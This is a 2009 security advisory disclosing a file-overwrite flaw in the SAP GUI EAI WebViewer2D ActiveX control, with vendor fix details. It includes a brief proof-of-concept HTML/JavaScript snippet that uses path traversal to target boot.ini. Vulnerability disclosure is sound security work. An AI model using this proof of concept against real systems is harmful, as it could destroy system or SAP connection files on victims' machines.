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[DSECRG-09-043] SAP GUI 7.1 Insecure Method

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-043

Application:                    EAI WebViewer2D  (EnjoySAP, SAP GUI for Windows 6.4 and 7.1)    
Versions Affected:              Tested on 7100.2.7.1038 PL 7
Vendor URL:                     http://SAP.com
Bugs:                           insecure method, File owervriting
Exploits:                       YES
Reported:                       02.07.2009
Vendor response:                02.07.2009
Date of Public Advisory:        28.09.2009      
Author:                         Alexandr Polyakov 
                                Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer2D ( file WebViewer2D.dll) Lib GUID:    {A76CEBEE-7364-11D2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system. 


Attacker can construct html page which call  vulnerable function  SaveToSessionFile from ActiveX component EAI WebViewer2D


 <object id=ctrl classid="clsid:{A76CEBEE-7364-11D2-AA6B-00E02924C34E}"></object>
function Do_1t()
   File = "../../../../../../../../../../../../boot.ini"
<input language=JavaScript onclick=Do_1t() type=button value="P0c">

For example we can overwrite boot.ini file or  sapgui.ini which contains all connectionbs to sap servers 

Fix Information
The security issue is addressed with SAP note 1372153.

"the methods given in the message have been changed recently to           
immediately return and they do nothing."




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Contact:        research [at] dsecrg [dot] com

Polyakov Alexandr
Information Security Analyst
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  

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